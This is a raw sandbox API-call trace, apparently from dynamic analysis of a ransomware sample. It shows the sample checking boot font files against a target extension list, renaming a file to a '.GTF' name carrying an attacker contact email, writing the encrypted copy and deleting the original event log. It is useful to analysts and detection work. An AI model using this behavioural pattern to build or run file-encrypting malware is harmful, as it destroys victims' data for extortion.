	[0075.499] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0075.499] lstrlenW (lpString=".dbf") returned 4
	[0075.499] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0075.499] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0075.499] lstrlenW (lpString=".1cd") returned 4
	[0075.499] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0075.499] lstrlenW (lpString="C:\\Boot\\Fonts\\msjhn_boot.ttf") returned 28
	[0075.499] lstrlenW (lpString=".jpg") returned 4
	[0075.499] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0075.499] lstrcmpiW (lpString1=".ttf", lpString2=".GTF") returned 1
	[0075.499] lstrlenW (lpString="msjh_boot.ttf") returned 13
	[0075.499] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0075.500] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=164347) returned 1
	[0075.500] CloseHandle (hObject=0x33c) returned 1
	[0075.500] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf")) returned 0x20
	[0075.500] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0075.500] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msjh_boot.ttf" (normalized: "c:\\boot\\fonts\\msjh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0075.500] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27
	[0075.500] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27
	[0075.500] lstrlenW (lpString=".doc") returned 4
	[0075.500] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0075.500] lstrlenW (lpString=".docx") returned 5
	[0075.500] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0075.500] lstrlenW (lpString=".pdf") returned 4
	[0075.500] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0075.500] lstrlenW (lpString=".xls") returned 4
	[0075.500] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0075.500] lstrlenW (lpString=".xlsx") returned 5
	[0075.500] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0075.500] lstrlenW (lpString=".ppt") returned 4
	[0075.500] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0075.500] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27
	[0075.500] lstrlenW (lpString=".zip") returned 4
	[0075.500] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0075.500] lstrlenW (lpString=".rar") returned 4
	[0075.500] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0075.501] lstrlenW (lpString=".bz2") returned 4
	[0075.501] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0075.501] lstrlenW (lpString=".7z") returned 3
	[0075.501] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0075.501] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27
	[0075.501] lstrlenW (lpString=".dbf") returned 4
	[0075.501] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0075.501] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27
	[0075.501] lstrlenW (lpString=".1cd") returned 4
	[0075.501] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0075.501] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27
	[0075.501] lstrlenW (lpString=".jpg") returned 4
	[0075.501] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0075.501] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27
	[0075.501] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27
	[0075.501] lstrlenW (lpString=".doc") returned 4
	[0075.501] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0075.501] lstrlenW (lpString=".docx") returned 5
	[0075.501] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0075.501] lstrlenW (lpString=".pdf") returned 4
	[0075.501] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0075.501] lstrlenW (lpString=".xls") returned 4
	[0075.501] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0075.501] lstrlenW (lpString=".xlsx") returned 5
	[0075.501] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0075.501] lstrlenW (lpString=".ppt") returned 4
	[0075.501] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0075.501] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27
	[0075.501] lstrlenW (lpString=".zip") returned 4
	[0075.501] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0075.501] lstrlenW (lpString=".rar") returned 4
	[0075.501] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0075.501] lstrlenW (lpString=".bz2") returned 4
	[0075.501] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0075.501] lstrlenW (lpString=".7z") returned 3
	[0075.501] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0075.502] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27
	[0075.502] lstrlenW (lpString=".dbf") returned 4
	[0075.502] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0075.502] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27
	[0075.502] lstrlenW (lpString=".1cd") returned 4
	[0075.502] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0075.502] lstrlenW (lpString="C:\\Boot\\Fonts\\msjh_boot.ttf") returned 27
	[0075.502] lstrlenW (lpString=".jpg") returned 4
	[0075.502] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0075.502] lstrcmpiW (lpString1=".ttf", lpString2=".GTF") returned 1
	[0075.502] lstrlenW (lpString="msyhn_boot.ttf") returned 14
	[0075.502] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0075.502] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=154427) returned 1
	[0075.502] CloseHandle (hObject=0x33c) returned 1
	[0075.502] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf")) returned 0x20
	[0075.502] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0075.502] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyhn_boot.ttf" (normalized: "c:\\boot\\fonts\\msyhn_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0075.502] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0075.502] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0075.502] lstrlenW (lpString=".doc") returned 4
	[0075.502] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0075.503] lstrlenW (lpString=".docx") returned 5
	[0075.503] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0075.503] lstrlenW (lpString=".pdf") returned 4
	[0075.503] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0075.503] lstrlenW (lpString=".xls") returned 4
	[0075.503] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0075.503] lstrlenW (lpString=".xlsx") returned 5
	[0075.503] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0075.503] lstrlenW (lpString=".ppt") returned 4
	[0075.503] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0075.503] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0075.503] lstrlenW (lpString=".zip") returned 4
	[0075.503] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0075.503] lstrlenW (lpString=".rar") returned 4
	[0075.503] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0075.503] lstrlenW (lpString=".bz2") returned 4
	[0075.503] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0075.503] lstrlenW (lpString=".7z") returned 3
	[0075.503] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0075.503] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0075.503] lstrlenW (lpString=".dbf") returned 4
	[0075.503] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0075.503] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0075.503] lstrlenW (lpString=".1cd") returned 4
	[0075.503] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0075.503] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0075.503] lstrlenW (lpString=".jpg") returned 4
	[0075.503] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0075.503] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0075.503] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0075.503] lstrlenW (lpString=".doc") returned 4
	[0075.503] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0075.504] lstrlenW (lpString=".docx") returned 5
	[0075.504] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0075.504] lstrlenW (lpString=".pdf") returned 4
	[0075.504] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0075.504] lstrlenW (lpString=".xls") returned 4
	[0075.504] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0075.504] lstrlenW (lpString=".xlsx") returned 5
	[0075.504] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0075.504] lstrlenW (lpString=".ppt") returned 4
	[0075.504] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0075.504] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0075.504] lstrlenW (lpString=".zip") returned 4
	[0075.504] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0075.504] lstrlenW (lpString=".rar") returned 4
	[0075.504] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0075.504] lstrlenW (lpString=".bz2") returned 4
	[0075.504] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0075.504] lstrlenW (lpString=".7z") returned 3
	[0075.504] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0075.504] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0075.504] lstrlenW (lpString=".dbf") returned 4
	[0075.504] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0075.504] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0075.504] lstrlenW (lpString=".1cd") returned 4
	[0075.504] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0075.504] lstrlenW (lpString="C:\\Boot\\Fonts\\msyhn_boot.ttf") returned 28
	[0075.504] lstrlenW (lpString=".jpg") returned 4
	[0075.504] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0075.504] lstrcmpiW (lpString1=".ttf", lpString2=".GTF") returned 1
	[0075.504] lstrlenW (lpString="msyh_boot.ttf") returned 13
	[0075.504] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0075.505] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=156245) returned 1
	[0075.505] CloseHandle (hObject=0x33c) returned 1
	[0075.505] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf")) returned 0x20
	[0075.505] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0075.505] CreateFileW (lpFileName="C:\\Boot\\Fonts\\msyh_boot.ttf" (normalized: "c:\\boot\\fonts\\msyh_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0075.505] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0075.505] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0075.505] lstrlenW (lpString=".doc") returned 4
	[0075.505] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0075.505] lstrlenW (lpString=".docx") returned 5
	[0075.505] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0075.505] lstrlenW (lpString=".pdf") returned 4
	[0075.505] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0075.505] lstrlenW (lpString=".xls") returned 4
	[0075.505] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0075.505] lstrlenW (lpString=".xlsx") returned 5
	[0075.505] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0075.505] lstrlenW (lpString=".ppt") returned 4
	[0075.505] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0075.505] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0075.505] lstrlenW (lpString=".zip") returned 4
	[0075.505] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0075.505] lstrlenW (lpString=".rar") returned 4
	[0075.505] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0075.505] lstrlenW (lpString=".bz2") returned 4
	[0075.506] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0075.506] lstrlenW (lpString=".7z") returned 3
	[0075.506] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0075.506] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0075.506] lstrlenW (lpString=".dbf") returned 4
	[0075.506] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0075.506] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0075.506] lstrlenW (lpString=".1cd") returned 4
	[0075.506] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0075.506] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0075.506] lstrlenW (lpString=".jpg") returned 4
	[0075.506] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0075.506] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0075.506] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0075.506] lstrlenW (lpString=".doc") returned 4
	[0075.506] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0075.506] lstrlenW (lpString=".docx") returned 5
	[0075.506] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0075.506] lstrlenW (lpString=".pdf") returned 4
	[0075.506] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0075.506] lstrlenW (lpString=".xls") returned 4
	[0075.506] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0075.506] lstrlenW (lpString=".xlsx") returned 5
	[0075.506] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0075.506] lstrlenW (lpString=".ppt") returned 4
	[0075.506] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0075.506] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0075.506] lstrlenW (lpString=".zip") returned 4
	[0075.506] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0075.506] lstrlenW (lpString=".rar") returned 4
	[0075.506] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0075.506] lstrlenW (lpString=".bz2") returned 4
	[0075.506] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0075.506] lstrlenW (lpString=".7z") returned 3
	[0075.506] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0075.506] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0075.507] lstrlenW (lpString=".dbf") returned 4
	[0075.507] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0075.507] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0075.507] lstrlenW (lpString=".1cd") returned 4
	[0075.507] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1
	[0075.507] lstrlenW (lpString="C:\\Boot\\Fonts\\msyh_boot.ttf") returned 27
	[0075.507] lstrlenW (lpString=".jpg") returned 4
	[0075.507] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1
	[0075.507] lstrcmpiW (lpString1=".ttf", lpString2=".GTF") returned 1
	[0075.507] lstrlenW (lpString="segmono_boot.ttf") returned 16
	[0075.507] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0075.507] GetFileSizeEx (in: hFile=0x33c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=44859) returned 1
	[0075.508] CloseHandle (hObject=0x33c) returned 1
	[0075.508] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf")) returned 0x20
	[0075.508] GetFileAttributesW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0075.508] CreateFileW (lpFileName="C:\\Boot\\Fonts\\segmono_boot.ttf" (normalized: "c:\\boot\\fonts\\segmono_boot.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0075.508] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30
	[0075.508] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30
	[0075.508] lstrlenW (lpString=".doc") returned 4
	[0075.508] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1
	[0075.508] lstrlenW (lpString=".docx") returned 5
	[0075.508] lstrcmpiW (lpString1=".docx", lpString2="t.ttf") returned -1
	[0075.508] lstrlenW (lpString=".pdf") returned 4
	[0075.508] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1
	[0075.508] lstrlenW (lpString=".xls") returned 4
	[0075.508] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1
	[0075.508] lstrlenW (lpString=".xlsx") returned 5
	[0075.508] lstrcmpiW (lpString1=".xlsx", lpString2="t.ttf") returned -1
	[0075.508] lstrlenW (lpString=".ppt") returned 4
	[0075.508] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1
	[0075.508] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30
	[0075.508] lstrlenW (lpString=".zip") returned 4
	[0075.508] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1
	[0075.508] lstrlenW (lpString=".rar") returned 4
	[0075.508] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1
	[0075.508] lstrlenW (lpString=".bz2") returned 4
	[0075.508] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1
	[0075.508] lstrlenW (lpString=".7z") returned 3
	[0075.508] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1
	[0075.508] lstrlenW (lpString="C:\\Boot\\Fonts\\segmono_boot.ttf") returned 30
	[0075.508] lstrlenW (lpString=".dbf") returned 4
	[0075.508] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1
	[0075.521] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0
	[0075.521] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0075.524] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.524] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0075.524] CreateFileW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\logs\\application.evtx.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d4
	[0075.525] GetLastError () returned 0x0
	[0075.525] ReadFile (in: hFile=0x33c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0076.129] WriteFile (in: hFile=0x2d4, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0076.131] ReadFile (in: hFile=0x33c, lpBuffer=0x3a24020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1
	[0076.131] WriteFile (in: hFile=0x2d4, lpBuffer=0x3a24020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a24020*, lpNumberOfBytesWritten=0x351fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0076.131] SetEndOfFile (hFile=0x2d4) returned 1
	[0076.404] CloseHandle (hObject=0x2d4) returned 1
	[0076.486] SetFilePointerEx (in: hFile=0x33c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1
	[0076.486] SetEndOfFile (hFile=0x33c) returned 1
	[0076.488] CloseHandle (hObject=0x33c) returned 1
	[0076.488] SetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0076.488] DeleteFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 1
	[0076.488] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0076.488] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0076.488] lstrlenW (lpString=".doc") returned 4
	[0076.488] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.488] lstrlenW (lpString=".docx") returned 5
	[0076.488] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.488] lstrlenW (lpString=".pdf") returned 4
	[0076.488] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.488] lstrlenW (lpString=".xls") returned 4
	[0076.488] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.489] lstrlenW (lpString=".xlsx") returned 5
	[0076.489] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.489] lstrlenW (lpString=".ppt") returned 4
	[0076.489] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.489] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0076.489] lstrlenW (lpString=".zip") returned 4
	[0076.489] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.489] lstrlenW (lpString=".rar") returned 4
	[0076.489] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.489] lstrlenW (lpString=".bz2") returned 4
	[0076.489] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.489] lstrlenW (lpString=".7z") returned 3
	[0076.489] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.489] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0076.489] lstrlenW (lpString=".dbf") returned 4
	[0076.489] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.489] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0076.489] lstrlenW (lpString=".1cd") returned 4
	[0076.489] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0076.489] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0076.489] lstrlenW (lpString=".jpg") returned 4
	[0076.489] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0076.489] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0076.489] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0076.489] lstrlenW (lpString=".doc") returned 4
	[0076.489] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0076.489] lstrlenW (lpString=".docx") returned 5
	[0076.489] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0076.489] lstrlenW (lpString=".pdf") returned 4
	[0076.489] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0076.489] lstrlenW (lpString=".xls") returned 4
	[0076.489] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0076.489] lstrlenW (lpString=".xlsx") returned 5
	[0076.489] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0076.489] lstrlenW (lpString=".ppt") returned 4
	[0076.489] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0076.489] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0076.490] lstrlenW (lpString=".zip") returned 4
	[0076.490] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0076.490] lstrlenW (lpString=".rar") returned 4
	[0076.490] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0076.490] lstrlenW (lpString=".bz2") returned 4
	[0076.490] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0076.490] lstrlenW (lpString=".7z") returned 3
	[0076.490] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0076.490] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0076.490] lstrlenW (lpString=".dbf") returned 4
	[0076.490] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0076.490] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
